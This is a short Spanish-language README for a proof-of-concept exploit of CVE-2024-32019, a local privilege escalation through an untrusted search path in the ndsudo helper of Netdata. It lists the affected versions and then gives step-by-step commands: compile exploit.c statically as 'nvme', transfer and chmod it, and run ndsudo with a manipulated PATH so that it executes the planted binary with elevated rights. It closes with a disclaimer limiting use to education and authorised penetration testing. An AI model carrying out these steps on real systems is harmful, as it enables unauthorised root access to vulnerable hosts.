
Exploit de prueba de concepto para CVE-2024-32019 que demuestra escalada de privilegios local a través de una ruta de búsqueda no confiable en el complemento ndsudo de Netdata. Incluye instrucciones de compilación y pasos de implementación.
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169CVE-2024-32019 — escalada local de privilegios de ndsudo mediante ruta de búsqueda no confiable.
x86_64-linux-gnu-gcc -o nvme exploit.c -static
Transfiere el binario compilado a la máquina vulnerable.
Hazlo ejecutable:
chmod +x nvme
Explota el binario vulnerable mediante manipulación de PATH (usa la misma ruta donde subiste tu binario):
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Este código de Prueba de Concepto (PoC) se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.